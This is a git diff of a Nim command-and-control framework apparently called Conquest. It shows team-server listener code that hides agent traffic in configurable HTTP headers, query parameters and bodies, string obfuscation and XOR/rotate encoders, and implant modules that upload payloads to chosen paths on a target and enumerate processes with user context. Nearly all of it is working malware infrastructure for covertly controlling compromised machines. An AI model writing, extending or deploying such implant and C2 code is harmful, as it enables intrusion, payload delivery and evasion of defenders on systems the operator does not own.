|
||||
nkval: cint
|
||||
kval: ptr ptr TomlKeyVal
|
||||
narr: cint
|
||||
arr: ptr ptr TomlArray
|
||||
ntbl: cint
|
||||
tbl: ptr ptr TomlTable
|
||||
|
||||
TomlArray = object
|
||||
key: cstring
|
||||
keylen: cint
|
||||
kind: cint
|
||||
`type`: cint
|
||||
nitem: cint
|
||||
item: ptr TomlArrItem
|
||||
|
||||
TomlValue = object
|
||||
case ok: bool
|
||||
of false: discard
|
||||
of true:
|
||||
s: cstring
|
||||
sl: cint
|
||||
|
||||
TomlTableRef* = ptr TomlTable
|
||||
|
||||
TomlValueKind* = enum
|
||||
String, Int, Bool, Float, Table, Array, None
|
||||
|
||||
TomlValueRef* = ref object
|
||||
case kind*: TomlValueKind
|
||||
of String:
|
||||
strVal*: string
|
||||
of Int:
|
||||
intVal*: int64
|
||||
of Bool:
|
||||
boolVal*: bool
|
||||
of Float:
|
||||
floatVal*: float64
|
||||
of Table:
|
||||
tableVal*: TomlTableRef
|
||||
of Array:
|
||||
arrayVal*: ptr TomlArray
|
||||
of None:
|
||||
discard
|
||||
|
||||
# C library functions
|
||||
proc toml_parse(toml: cstring, errbuf: cstring, errbufsz: cint): TomlTableRef {.importc, cdecl.}
|
||||
proc toml_parse_file(fp: File, errbuf: cstring, errbufsz: cint): TomlTableRef {.importc, cdecl.}
|
||||
proc toml_free(tab: TomlTableRef) {.importc, cdecl.}
|
||||
proc toml_table_len(tab: TomlTableRef): cint {.importc, cdecl.}
|
||||
proc toml_table_key(tab: TomlTableRef, keyidx: cint, keylen: ptr cint): cstring {.importc, cdecl.}
|
||||
proc toml_table_string(tab: TomlTableRef, key: cstring): TomlValue {.importc, cdecl.}
|
||||
proc toml_table_int(tab: TomlTableRef, key: cstring): TomlValue {.importc, cdecl.}
|
||||
proc toml_table_bool(tab: TomlTableRef, key: cstring): TomlValue {.importc, cdecl.}
|
||||
proc toml_table_double(tab: TomlTableRef, key: cstring): TomlValue {.importc, cdecl.}
|
||||
proc toml_table_array(tab: TomlTableRef, key: cstring): ptr TomlArray {.importc, cdecl.}
|
||||
proc toml_table_table(tab: TomlTableRef, key: cstring): TomlTableRef {.importc, cdecl.}
|
||||
proc toml_array_len(arr: ptr TomlArray): cint {.importc, cdecl.}
|
||||
proc toml_array_table(arr: ptr TomlArray, idx: cint): TomlTableRef {.importc, cdecl.}
|
||||
proc toml_array_string(arr: ptr TomlArray, idx: cint): TomlValue {.importc, cdecl.}
|
||||
proc toml_array_int(arr: ptr TomlArray, idx: cint): TomlValue {.importc, cdecl.}
|
||||
|
||||
#[
|
||||
Retrieve a random element from a TOML array
|
||||
]#
|
||||
proc getRandom*(arr: ptr TomlArray): TomlValueRef =
|
||||
if arr.isNil:
|
||||
return nil
|
||||
|
||||
let n = toml_array_len(arr)
|
||||
if n == 0:
|
||||
return nil
|
||||
|
||||
let idx = rand(n.int - 1)
|
||||
|
||||
# String
|
||||
let strVal {.volatile.} = toml_array_string(arr, idx.cint)
|
||||
if strVal.ok:
|
||||
let strPtr = cast[ptr cstring](cast[int](addr strVal) + 8)[]
|
||||
if not strPtr.isNil:
|
||||
return TomlValueRef(kind: String, strVal: $strPtr)
|
||||
|
||||
# Table
|
||||
let table {.volatile.} = toml_array_table(arr, idx.cint)
|
||||
if not table.isNil:
|
||||
return TomlValueRef(kind: Table, tableVal: table)
|
||||
|
||||
# Int
|
||||
let intVal {.volatile.} = toml_array_int(arr, idx.cint)
|
||||
if intVal.ok:
|
||||
let intPtr = cast[ptr int64](cast[int](addr intVal) + 8)[]
|
||||
return TomlValueRef(kind: Int, intVal: intPtr)
|
||||
|
||||
return nil
|
||||
|
||||
#[
|
||||
Parse TOML string or configuration file
|
||||
]#
|
||||
proc parseString*(toml: string): TomlTableRef =
|
||||
var errbuf: array[200, char]
|
||||
|
||||
var tomlCopy = toml
|
||||
result = toml_parse(tomlCopy.cstring, cast[cstring](addr errbuf[0]), 200)
|
||||
|
||||
if result.isNil:
|
||||
raise newException(ValueError, "TOML parse error: " & $cast[cstring](addr errbuf[0]))
|
||||
|
||||
proc parseFile*(path: string): TomlTableRef =
|
||||
var errbuf: array[200, char]
|
||||
let fp = open(path, fmRead)
|
||||
if fp.isNil:
|
||||
raise newException(IOError, "Cannot open file: " & path)
|
||||
|
||||
result = toml_parse_file(fp, cast[cstring](addr errbuf[0]), 200)
|
||||
fp.close()
|
||||
|
||||
if result.isNil:
|
||||
raise newException(ValueError, "TOML parse error: " & $cast[cstring](addr errbuf[0]))
|
||||
|
||||
proc free*(table: TomlTableRef) =
|
||||
if not table.isNil:
|
||||
toml_free(table)
|
||||
|
||||
#[
|
||||
Takes a specific "."-separated path as input and returns the TOML Value that it finds
|
||||
]#
|
||||
proc findKey*(profile: TomlTableRef, path: string): TomlValueRef =
|
||||
if profile.isNil:
|
||||
return TomlValueRef(kind: None)
|
||||
|
||||
let keys = path.split(".")
|
||||
var current = profile
|
||||
|
||||
# Navigate through nested tables
|
||||
for i in 0 ..< keys.len - 1:
|
||||
let nextTable = toml_table_table(current, keys[i].cstring)
|
||||
if nextTable.isNil:
|
||||
return TomlValueRef(kind: None)
|
||||
current = nextTable
|
||||
|
||||
let finalKey = keys[^1].cstring
|
||||
|
||||
# Try different types
|
||||
# {.volatile.} is added to avoid dangling pointers
|
||||
block findStr:
|
||||
let val {.volatile.} = toml_table_string(current, finalKey)
|
||||
if val.ok:
|
||||
let strPtr = cast[ptr cstring](cast[int](addr val) + 8)[]
|
||||
if not strPtr.isNil:
|
||||
return TomlValueRef(kind: String, strVal: $strPtr)
|
||||
|
||||
block checkInt:
|
||||
let val {.volatile.} = toml_table_int(current, finalKey)
|
||||
if val.ok:
|
||||
let intPtr = cast[ptr int64](cast[int](addr val) + 8)[]
|
||||
return TomlValueRef(kind: Int, intVal: intPtr)
|
||||
|
||||
block checkBool:
|
||||
let val {.volatile.} = toml_table_bool(current, finalKey)
|
||||
if val.ok:
|
||||
let boolPtr = cast[ptr bool](cast[int](addr val) + 8)[]
|
||||
return TomlValueRef(kind: Bool, boolVal: boolPtr)
|
||||
|
||||
block checkDouble:
|
||||
let val {.volatile.} = toml_table_double(current, finalKey)
|
||||
if val.ok:
|
||||
let dblPtr = cast[ptr float64](cast[int](addr val) + 8)[]
|
||||
return TomlValueRef(kind: Float, floatVal: dblPtr)
|
||||
|
||||
block checkArray:
|
||||
let arr {.volatile.} = toml_table_array(current, finalKey)
|
||||
if not arr.isNil:
|
||||
return TomlValueRef(kind: Array, arrayVal: arr)
|
||||
|
||||
block checkTable:
|
||||
let table {.volatile.} = toml_table_table(current, finalKey)
|
||||
if not table.isNil:
|
||||
return TomlValueRef(kind: Table, tableVal: table)
|
||||
|
||||
return TomlValueRef(kind: None)
|
||||
|
||||
#[
|
||||
Retrieve the actual value from a TOML value
|
||||
]#
|
||||
proc getStr*(value: TomlValueRef, default: string = ""): string =
|
||||
if value.kind == String:
|
||||
return value.strVal
|
||||
return default
|
||||
|
||||
proc getInt*(value: TomlValueRef, default: int = 0): int =
|
||||
if value.kind == Int:
|
||||
return value.intVal.int
|
||||
return default
|
||||
|
||||
proc getBool*(value: TomlValueRef, default: bool = false): bool =
|
||||
if value.kind == Bool:
|
||||
return value.boolVal
|
||||
return default
|
||||
|
||||
proc getTable*(value: TomlValueRef): TomlTableRef =
|
||||
if value.kind == Table:
|
||||
return value.tableVal
|
||||
return nil
|
||||
|
||||
proc getElems*(value: TomlValueRef): seq[TomlValueRef] =
|
||||
if value.kind != Array:
|
||||
return @[]
|
||||
|
||||
let arr = value.arrayVal
|
||||
let n = toml_array_len(arr)
|
||||
result = @[]
|
||||
|
||||
for i in 0 ..< n:
|
||||
# Try table first
|
||||
let table {.volatile.} = toml_array_table(arr, i.cint)
|
||||
if not table.isNil:
|
||||
result.add(TomlValueRef(kind: Table, tableVal: table))
|
||||
continue
|
||||
|
||||
# Try string
|
||||
let strVal {.volatile.} = toml_array_string(arr, i.cint)
|
||||
if strVal.ok:
|
||||
let strPtr = cast[ptr cstring](cast[int](addr strVal) + 8)[]
|
||||
if not strPtr.isNil:
|
||||
result.add(TomlValueRef(kind: String, strVal: $strPtr))
|
||||
continue
|
||||
|
||||
# Try int
|
||||
let intVal {.volatile.} = toml_array_int(arr, i.cint)
|
||||
if intVal.ok:
|
||||
let intPtr = cast[ptr int64](cast[int](addr intVal) + 8)[]
|
||||
result.add(TomlValueRef(kind: Int, intVal: intPtr))
|
||||
|
||||
proc getTableKeys*(profile: TomlTableRef, path: string): seq[tuple[key: string, value: TomlValueRef]] =
|
||||
result = @[]
|
||||
let key = profile.findKey(path)
|
||||
let table = key.getTable()
|
||||
if table.isNil:
|
||||
return
|
||||
|
||||
let numKeys = toml_table_len(table)
|
||||
for i in 0 ..< numKeys:
|
||||
var keylen: cint
|
||||
let keyPtr = toml_table_key(table, i.cint, addr keylen)
|
||||
if keyPtr.isNil:
|
||||
continue
|
||||
|
||||
let key = $keyPtr
|
||||
let value = profile.findKey(path & "." & key)
|
||||
if value.kind != None:
|
||||
result.add((key: key, value: value))
|
||||
|
||||
proc getTableValue*(table: TomlTableRef, key: string): TomlValueRef =
|
||||
if table.isNil:
|
||||
return TomlValueRef(kind: None)
|
||||
|
||||
let ckey = key.cstring
|
||||
|
||||
block checkString:
|
||||
let val {.volatile.} = toml_table_string(table, ckey)
|
||||
if val.ok:
|
||||
let strPtr = cast[ptr cstring](cast[int](addr val) + 8)[]
|
||||
if not strPtr.isNil:
|
||||
return TomlValueRef(kind: String, strVal: $strPtr)
|
||||
|
||||
block checkInt:
|
||||
let val {.volatile.} = toml_table_int(table, ckey)
|
||||
if val.ok:
|
||||
let intPtr = cast[ptr int64](cast[int](addr val) + 8)[]
|
||||
return TomlValueRef(kind: Int, intVal: intPtr)
|
||||
|
||||
block checkBool:
|
||||
let val {.volatile.} = toml_table_bool(table, ckey)
|
||||
if val.ok:
|
||||
let boolPtr = cast[ptr bool](cast[int](addr val) + 8)[]
|
||||
return TomlValueRef(kind: Bool, boolVal: boolPtr)
|
||||
|
||||
return TomlValueRef(kind: None)
|
||||
@@ -1,10 +1,12 @@
|
||||
import tables
|
||||
import parsetoml, json
|
||||
import json
|
||||
import system
|
||||
import mummy
|
||||
when defined(client):
|
||||
import whisky
|
||||
|
||||
import ./toml/toml
|
||||
|
||||
# Custom Binary Task structure
|
||||
const
|
||||
MAGIC* = 0x514E3043'u32 # Magic value: C0NQ
|
||||
@@ -71,14 +73,6 @@ type
|
||||
RESULT_BINARY = 1'u8
|
||||
RESULT_NO_OUTPUT = 2'u8
|
||||
|
||||
ConfigType* = enum
|
||||
CONFIG_LISTENER_UUID = 0'u8
|
||||
CONFIG_LISTENER_IP = 1'u8
|
||||
CONFIG_LISTENER_PORT = 2'u8
|
||||
CONFIG_SLEEP_DELAY = 3'u8
|
||||
CONFIG_PUBLIC_KEY = 4'u8
|
||||
CONFIG_PROFILE = 5'u8
|
||||
|
||||
LogType* {.size: sizeof(uint8).} = enum
|
||||
LOG_INFO = "[INFO] "
|
||||
LOG_ERROR = "[FAIL] "
|
||||
@@ -120,7 +114,7 @@ type
|
||||
Key* = array[32, byte]
|
||||
Iv* = array[12, byte]
|
||||
AuthenticationTag* = array[16, byte]
|
||||
Key16* = array[16, byte]
|
||||
KeyRC4* = array[16, byte]
|
||||
|
||||
# Packet structure
|
||||
type
|
||||
@@ -293,7 +287,7 @@ type
|
||||
privateKey*: Key
|
||||
publicKey*: Key
|
||||
|
||||
Profile* = TomlValueRef
|
||||
Profile* = TomlTableRef
|
||||
|
||||
WsConnection* = ref object
|
||||
when defined(server):
|
||||
@@ -308,6 +302,7 @@ type
|
||||
threads*: Table[string, Thread[Listener]]
|
||||
agents*: Table[string, Agent]
|
||||
keyPair*: KeyPair
|
||||
profileString*: string
|
||||
profile*: Profile
|
||||
client*: WsConnection
|
||||
|
||||
|
||||
@@ -38,6 +38,24 @@ macro protect*(str: untyped): untyped =
|
||||
# Alternate the XOR key using the FNV prime (1677619)
|
||||
key = (key *% 1677619) and 0x7FFFFFFF
|
||||
|
||||
#[
|
||||
Data encoding
|
||||
]#
|
||||
proc encodeRot*(data: seq[byte], key: int): seq[byte] =
|
||||
result = newSeq[byte](data.len())
|
||||
for i, b in data:
|
||||
result[i] = byte((int(b) + key) mod 256)
|
||||
|
||||
proc decodeRot*(data: seq[byte], key: int): seq[byte] =
|
||||
result = newSeq[byte](data.len())
|
||||
for i, b in data:
|
||||
result[i] = byte((int(b) - key + 256) mod 256)
|
||||
|
||||
proc xorBytes*(data: seq[byte], key: int): seq[byte] =
|
||||
result = newSeq[byte](data.len())
|
||||
for i, b in data:
|
||||
result[i] = b xor byte(key)
|
||||
|
||||
#[
|
||||
Utility functions
|
||||
]#
|
||||
|
||||
@@ -27,6 +27,7 @@ let module* = Module(
|
||||
example: protect("upload /path/to/payload.exe"),
|
||||
arguments: @[
|
||||
Argument(name: protect("file"), description: protect("Path to file to upload to the target machine."), argumentType: BINARY, isRequired: true),
|
||||
Argument(name: protect("destination"), description: protect("Path to upload the file to. By default, uploads to current directory."), argumentType: STRING, isRequired: false),
|
||||
],
|
||||
execute: executeUpload
|
||||
)
|
||||
@@ -40,7 +41,7 @@ when not defined(agent):
|
||||
|
||||
when defined(agent):
|
||||
|
||||
import os, std/paths, strformat
|
||||
import os, strformat
|
||||
import ../agent/utils/io
|
||||
import ../agent/protocol/result
|
||||
import ../common/serialize
|
||||
@@ -72,17 +73,18 @@ when defined(agent):
|
||||
try:
|
||||
var arg: string = Bytes.toString(task.args[0].data)
|
||||
|
||||
print arg
|
||||
|
||||
# Parse binary argument
|
||||
var unpacker = Unpacker.init(arg)
|
||||
let
|
||||
fileName = unpacker.getDataWithLengthPrefix()
|
||||
var
|
||||
destination = unpacker.getDataWithLengthPrefix()
|
||||
fileContents = unpacker.getDataWithLengthPrefix()
|
||||
|
||||
# If a destination has been passed as an argument, upload it there instead
|
||||
if task.argCount == 2:
|
||||
destination = Bytes.toString(task.args[1].data)
|
||||
|
||||
# Write the file to the current working directory
|
||||
let destination = fmt"{paths.getCurrentDir()}\{fileName}"
|
||||
writeFile(fmt"{destination}", fileContents)
|
||||
writeFile(destination, fileContents)
|
||||
|
||||
return createTaskResult(task, STATUS_COMPLETED, RESULT_STRING, string.toBytes(fmt"File uploaded to {destination}."))
|
||||
|
||||
|
||||
@@ -40,14 +40,7 @@ when defined(agent):
|
||||
import os, strutils, strformat, tables, algorithm
|
||||
import ../agent/utils/io
|
||||
import ../agent/protocol/result
|
||||
|
||||
# TODO: Add user context to process information
|
||||
type
|
||||
ProcessInfo = object
|
||||
pid: DWORD
|
||||
ppid: DWORD
|
||||
name: string
|
||||
children: seq[DWORD]
|
||||
import ../agent/core/process
|
||||
|
||||
proc executePs(ctx: AgentCtx, task: Task): TaskResult =
|
||||
|
||||
@@ -55,48 +48,28 @@ when defined(agent):
|
||||
|
||||
try:
|
||||
var processes: seq[DWORD] = @[]
|
||||
var procMap = initTable[DWORD, ProcessInfo]()
|
||||
var output: string = ""
|
||||
|
||||
# Take a snapshot of running processes
|
||||
let hSnapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0)
|
||||
if hSnapshot == INVALID_HANDLE_VALUE:
|
||||
raise newException(CatchableError, GetLastError().getError)
|
||||
|
||||
# Close handle after object is no longer used
|
||||
defer: CloseHandle(hSnapshot)
|
||||
var procMap = processList()
|
||||
|
||||
var pe32: PROCESSENTRY32
|
||||
pe32.dwSize = DWORD(sizeof(PROCESSENTRY32))
|
||||
|
||||
# Loop over processes to fill the map
|
||||
if Process32First(hSnapshot, addr pe32) == FALSE:
|
||||
raise newException(CatchableError, GetLastError().getError)
|
||||
|
||||
while true:
|
||||
var procInfo = ProcessInfo(
|
||||
pid: pe32.th32ProcessID,
|
||||
ppid: pe32.th32ParentProcessID,
|
||||
name: $cast[WideCString](addr pe32.szExeFile[0]),
|
||||
children: @[]
|
||||
)
|
||||
|
||||
procMap[pe32.th32ProcessID] = procInfo
|
||||
|
||||
if Process32Next(hSnapshot, addr pe32) == FALSE:
|
||||
break
|
||||
|
||||
# Build child-parent relationship
|
||||
# Create child-parent process relationships
|
||||
for pid, procInfo in procMap.mpairs():
|
||||
if procMap.contains(procInfo.ppid):
|
||||
if procMap.contains(procInfo.ppid) and procInfo.ppid != 0:
|
||||
procMap[procInfo.ppid].children.add(pid)
|
||||
else:
|
||||
processes.add(pid)
|
||||
|
||||
# Add header row
|
||||
let headers = @[protect("PID"), protect("PPID"), protect("Process")]
|
||||
output &= fmt"{headers[0]:<10}{headers[1]:<10}{headers[2]:<25}" & "\n"
|
||||
output &= "-".repeat(len(headers[0])).alignLeft(10) & "-".repeat(len(headers[1])).alignLeft(10) & "-".repeat(len(headers[2])).alignLeft(25) & "\n"
|
||||
let headers = @[
|
||||
protect("PID"),
|
||||
protect("PPID"),
|
||||
protect("Process"),
|
||||
protect("Session"),
|
||||
protect("User context")
|
||||
]
|
||||
|
||||
output &= fmt"{headers[0]:<10}{headers[1]:<10}{headers[2]:<40}{headers[3]:<10}{headers[4]}" & "\n"
|
||||
output &= "-".repeat(len(headers[0])).alignLeft(10) & "-".repeat(len(headers[1])).alignLeft(10) & "-".repeat(len(headers[2])).alignLeft(40) & "-".repeat(len(headers[3])).alignLeft(10) & "-".repeat(len(headers[4])) & "\n"
|
||||
|
||||
# Format and print process
|
||||
proc printProcess(pid: DWORD, indentSpaces: int = 0) =
|
||||
@@ -104,16 +77,15 @@ when defined(agent):
|
||||
return
|
||||
|
||||
var process = procMap[pid]
|
||||
let indent = " ".repeat(indentSpaces)
|
||||
|
||||
output &= fmt"{process.pid:<10}{process.ppid:<10}{indent}{process.name:<25}" & "\n"
|
||||
|
||||
let processName = " ".repeat(indentSpaces) & process.name
|
||||
output &= fmt"{$process.pid:<10}{$process.ppid:<10}{processName:<40}{$process.session:<10}{process.user}" & "\n"
|
||||
|
||||
# Recursively print child processes with indentation
|
||||
process.children.sort()
|
||||
for childPid in process.children:
|
||||
printProcess(childPid, indentSpaces + 2)
|
||||
|
||||
# Iterate over root processes
|
||||
|
||||
# Iterate over root processes to construct the output
|
||||
processes.sort()
|
||||
for pid in processes:
|
||||
printProcess(pid)
|
||||
|
||||
@@ -126,7 +126,7 @@ proc handleResult*(resultData: seq[byte]) =
|
||||
# A binary result packet consists of the filename and file contents, both prefixed with their respective lengths as a uint32 value
|
||||
var unpacker = Unpacker.init(Bytes.toString(taskResult.data))
|
||||
let
|
||||
fileName = unpacker.getDataWithLengthPrefix().replace("\\", "_").replace(":", "") # Replace path characters for better storage of downloaded files
|
||||
fileName = unpacker.getDataWithLengthPrefix().replace("\\", "_").replace("/", "_").replace(":", "") # Replace path characters for better storage of downloaded files
|
||||
fileData = unpacker.getDataWithLengthPrefix()
|
||||
|
||||
# Create loot directory for the agent
|
||||
|
||||
@@ -1,5 +1,5 @@
|
||||
import mummy, terminal, strformat, parsetoml, tables
|
||||
import strutils, base64
|
||||
import mummy, terminal
|
||||
import strutils, strformat
|
||||
|
||||
import ./handlers
|
||||
import ../globals
|
||||
@@ -35,7 +35,6 @@ proc httpGet*(request: Request) =
|
||||
{.cast(gcsafe).}:
|
||||
|
||||
# Check heartbeat metadata placement
|
||||
var heartbeat: seq[byte]
|
||||
var heartbeatString: string
|
||||
|
||||
case cq.profile.getString("http-get.agent.heartbeat.placement.type"):
|
||||
@@ -46,30 +45,20 @@ proc httpGet*(request: Request) =
|
||||
return
|
||||
heartbeatString = request.headers.get(heartbeatHeader)
|
||||
|
||||
of "parameter":
|
||||
of "query":
|
||||
let param = cq.profile.getString("http-get.agent.heartbeat.placement.name")
|
||||
heartbeatString = request.queryParams.get(param)
|
||||
if heartbeatString.len <= 0:
|
||||
request.respond(404, body = "")
|
||||
return
|
||||
|
||||
of "uri":
|
||||
discard
|
||||
of "body":
|
||||
discard
|
||||
heartbeatString = request.body
|
||||
|
||||
else: discard
|
||||
|
||||
# Retrieve and apply data transformation to get raw heartbeat packet
|
||||
let
|
||||
prefix = cq.profile.getString("http-get.agent.heartbeat.prefix")
|
||||
suffix = cq.profile.getString("http-get.agent.heartbeat.suffix")
|
||||
encHeartbeat = heartbeatString[len(prefix) ..^ len(suffix) + 1]
|
||||
|
||||
case cq.profile.getString("http-get.agent.heartbeat.encoding.type", default = "none"):
|
||||
of "base64":
|
||||
heartbeat = string.toBytes(decode(encHeartbeat))
|
||||
of "none":
|
||||
heartbeat = string.toBytes(encHeartbeat)
|
||||
# Reverse data transformation to get raw heartbeat packet
|
||||
let heartbeat = cq.profile.reverseDataTransformation("http-get.agent.heartbeat", heartbeatString)
|
||||
|
||||
try:
|
||||
var responseBytes: seq[byte]
|
||||
@@ -88,29 +77,20 @@ proc httpGet*(request: Request) =
|
||||
responseBytes.add(task)
|
||||
|
||||
# Apply data transformation to the response
|
||||
var response: string
|
||||
case cq.profile.getString("http-get.server.output.encoding.type", default = "none"):
|
||||
of "none":
|
||||
response = Bytes.toString(responseBytes)
|
||||
of "base64":
|
||||
response = encode(responseBytes, safe = cq.profile.getBool("http-get.server.output.encoding.url-safe"))
|
||||
else: discard
|
||||
|
||||
let prefix = cq.profile.getString("http-get.server.output.prefix")
|
||||
let suffix = cq.profile.getString("http-get.server.output.suffix")
|
||||
let payload = cq.profile.applyDataTransformation("http-get.server.output", responseBytes)
|
||||
|
||||
# Add headers, as defined in the team server profile
|
||||
var headers: HttpHeaders
|
||||
for header, value in cq.profile.getTable("http-get.server.headers"):
|
||||
headers.add((header, value.getStringValue()))
|
||||
for header in cq.profile.getTableKeys("http-get.server.headers"):
|
||||
headers.add((header.key, header.value.getStringValue()))
|
||||
|
||||
request.respond(200, headers = headers, body = prefix & response & suffix)
|
||||
request.respond(200, headers = headers, body = payload)
|
||||
|
||||
# Notify operator that agent collected tasks
|
||||
cq.client.sendConsoleItem(agentId, LOG_INFO, fmt"{$response.len} bytes sent.")
|
||||
cq.info(fmt"{$response.len} bytes sent.")
|
||||
cq.client.sendConsoleItem(agentId, LOG_INFO, fmt"{$responseBytes.len} bytes sent.")
|
||||
cq.info(fmt"{$responseBytes.len} bytes sent.")
|
||||
|
||||
except CatchableError:
|
||||
except CatchableError as err:
|
||||
request.respond(404, body = "")
|
||||
|
||||
#[
|
||||
@@ -121,24 +101,49 @@ proc httpPost*(request: Request) =
|
||||
{.cast(gcsafe).}:
|
||||
|
||||
try:
|
||||
# Differentiate between registration and task result packet
|
||||
var unpacker = Unpacker.init(request.body)
|
||||
let header = unpacker.deserializeHeader()
|
||||
# Retrieve data from the request
|
||||
var dataString: string
|
||||
|
||||
case cq.profile.getString("http-post.agent.output.placement.type"):
|
||||
of "header":
|
||||
let dataHeader = cq.profile.getString("http-post.agent.output.placement.name")
|
||||
if not request.headers.hasKey(dataHeader):
|
||||
request.respond(400, body = "")
|
||||
return
|
||||
dataString = request.headers.get(dataHeader)
|
||||
|
||||
of "query":
|
||||
let param = cq.profile.getString("http-post.agent.output.placement.name")
|
||||
dataString = request.queryParams.get(param)
|
||||
if dataString.len <= 0:
|
||||
request.respond(400, body = "")
|
||||
return
|
||||
|
||||
of "body":
|
||||
dataString = request.body
|
||||
|
||||
else: discard
|
||||
|
||||
# Reverse data transformation
|
||||
let data = cq.profile.reverseDataTransformation("http-post.agent.output", dataString)
|
||||
|
||||
# Add response headers, as defined in team server profile
|
||||
var headers: HttpHeaders
|
||||
for header, value in cq.profile.getTable("http-post.server.headers"):
|
||||
headers.add((header, value.getStringValue()))
|
||||
for header in cq.profile.getTableKeys("http-post.server.headers"):
|
||||
headers.add((header.key, header.value.getStringValue()))
|
||||
|
||||
# Differentiate between registration and task result packet
|
||||
var unpacker = Unpacker.init(Bytes.toString(data))
|
||||
let header = unpacker.deserializeHeader()
|
||||
if cast[PacketType](header.packetType) == MSG_REGISTER:
|
||||
if not register(string.toBytes(request.body), request.remoteAddress):
|
||||
if not register(data, request.remoteAddress):
|
||||
request.respond(400, body = "")
|
||||
return
|
||||
|
||||
elif cast[PacketType](header.packetType) == MSG_RESULT:
|
||||
handleResult(string.toBytes(request.body))
|
||||
handleResult(data)
|
||||
|
||||
request.respond(200, body = "")
|
||||
request.respond(200, body = cq.profile.getString("http-post.server.output.body"))
|
||||
|
||||
except CatchableError:
|
||||
request.respond(404, body = "")
|
||||
|
||||
@@ -1,4 +1,4 @@
|
||||
import terminal, strformat, strutils, sequtils, tables, system, osproc, streams, parsetoml
|
||||
import terminal, strformat, strutils, sequtils, tables, system, osproc, streams
|
||||
|
||||
import ../globals
|
||||
import ../core/[logger, websocket]
|
||||
@@ -38,7 +38,7 @@ proc serializeConfiguration(cq: Conquest, listener: Listener, sleepSettings: Sle
|
||||
packer.addData(cq.keyPair.publicKey)
|
||||
|
||||
# C2 profile
|
||||
packer.addDataWithLengthPrefix(string.toBytes(cq.profile.toTomlString()))
|
||||
packer.addDataWithLengthPrefix(string.toBytes(cq.profileString))
|
||||
|
||||
let data = packer.pack()
|
||||
packer.reset()
|
||||
|
||||
@@ -1,6 +1,5 @@
|
||||
import strformat, strutils, terminal
|
||||
import strformat, strutils, terminal, tables
|
||||
import mummy, mummy/routers
|
||||
import parsetoml
|
||||
|
||||
import ../api/routes
|
||||
import ../db/database
|
||||
@@ -24,7 +23,7 @@ proc listenerStart*(cq: Conquest, listenerId: string, hosts: string, address: st
|
||||
# GET requests
|
||||
for endpoint in cq.profile.getArray("http-get.endpoints"):
|
||||
router.addRoute("GET", endpoint.getStringValue(), routes.httpGet)
|
||||
|
||||
|
||||
# POST requests
|
||||
var postMethods: seq[string]
|
||||
for reqMethod in cq.profile.getArray("http-post.request-methods"):
|
||||
|
||||
@@ -1,4 +1,4 @@
|
||||
import times, json, base64, parsetoml, strformat, pixie
|
||||
import times, json, base64, strformat
|
||||
import stb_image/write as stbiw
|
||||
import ./logger
|
||||
import ../../common/[types, utils, event]
|
||||
@@ -46,12 +46,12 @@ proc sendPublicKey*(client: WsConnection, publicKey: Key) =
|
||||
if client != nil:
|
||||
client.ws.sendEvent(event, client.sessionKey)
|
||||
|
||||
proc sendProfile*(client: WsConnection, profile: Profile) =
|
||||
proc sendProfile*(client: WsConnection, profileString: string) =
|
||||
let event = Event(
|
||||
eventType: CLIENT_PROFILE,
|
||||
timestamp: now().toTime().toUnix(),
|
||||
data: %*{
|
||||
"profile": profile.toTomlString()
|
||||
"profile": profileString
|
||||
}
|
||||
)
|
||||
if client != nil:
|
||||
|
||||
@@ -1,5 +1,5 @@
|
||||
import mummy, mummy/routers
|
||||
import terminal, parsetoml, json, math, base64, times
|
||||
import terminal, json, math, base64, times
|
||||
import strutils, strformat, system, tables
|
||||
|
||||
import ./globals
|
||||
@@ -15,14 +15,15 @@ proc header() =
|
||||
echo "─".repeat(21)
|
||||
echo ""
|
||||
|
||||
proc init*(T: type Conquest, profile: Profile): Conquest =
|
||||
proc init*(T: type Conquest, profileString: string): Conquest =
|
||||
var cq = new Conquest
|
||||
cq.listeners = initTable[string, Listener]()
|
||||
cq.threads = initTable[string, Thread[Listener]]()
|
||||
cq.agents = initTable[string, Agent]()
|
||||
cq.profile = profile
|
||||
cq.keyPair = loadKeyPair(CONQUEST_ROOT & "/" & profile.getString("private-key-file"))
|
||||
cq.dbPath = CONQUEST_ROOT & "/" & profile.getString("database-file")
|
||||
cq.profileString = profileString
|
||||
cq.profile = parseString(profileString)
|
||||
cq.keyPair = loadKeyPair(CONQUEST_ROOT & "/" & cq.profile.getString("private-key-file"))
|
||||
cq.dbPath = CONQUEST_ROOT & "/" & cq.profile.getString("database-file")
|
||||
cq.client = nil
|
||||
return cq
|
||||
|
||||
@@ -44,10 +45,7 @@ proc websocketHandler(ws: WebSocket, event: WebSocketEvent, message: Message) {.
|
||||
# Send the public key for the key exchange, all other information with be transmitted when the key exchange is completed
|
||||
cq.client.sendPublicKey(cq.keyPair.publicKey)
|
||||
|
||||
of MessageEvent:
|
||||
# Continuously send heartbeat messages
|
||||
ws.sendHeartbeat()
|
||||
|
||||
of MessageEvent:
|
||||
let event = message.recvEvent(cq.client.sessionKey)
|
||||
|
||||
case event.eventType:
|
||||
@@ -57,7 +55,7 @@ proc websocketHandler(ws: WebSocket, event: WebSocketEvent, message: Message) {.
|
||||
|
||||
# Send relevant information to the client
|
||||
# C2 profile
|
||||
cq.client.sendProfile(cq.profile)
|
||||
cq.client.sendProfile(cq.profileString)
|
||||
|
||||
# Listeners
|
||||
for id, listener in cq.listeners:
|
||||
@@ -143,11 +141,10 @@ proc startServer*(profilePath: string) =
|
||||
|
||||
try:
|
||||
# Initialize framework context
|
||||
# Load and parse profile
|
||||
let profile = parsetoml.parseFile(profilePath)
|
||||
cq = Conquest.init(profile)
|
||||
let profileString = readFile(profilePath)
|
||||
cq = Conquest.init(profileString)
|
||||
|
||||
cq.info("Using profile \"", profile.getString("name"), "\" (", profilePath ,").")
|
||||
cq.info("Using profile \"", cq.profile.getString("name"), "\" (", profilePath ,").")
|
||||
|
||||
# Initialize database
|
||||
cq.dbInit()
|
||||
@@ -166,7 +163,7 @@ proc startServer*(profilePath: string) =
|
||||
|
||||
# Increased websocket message length in order to support dotnet assembly execution (1GB)
|
||||
let server = newServer(router, websocketHandler, maxBodyLen = 1024 * 1024 * 1024, maxMessageLen = 1024 * 1024 * 1024)
|
||||
server.serve(Port(cq.profile.getInt("team-server.port")), "0.0.0.0")
|
||||
server.serve(Port(cq.profile.getInt("team-server.port")), cq.profile.getString("team-server.host"))
|
||||
|
||||
except CatchableError as err:
|
||||
echo err.msg
|
||||
|
||||
Reference in New Issue
Block a user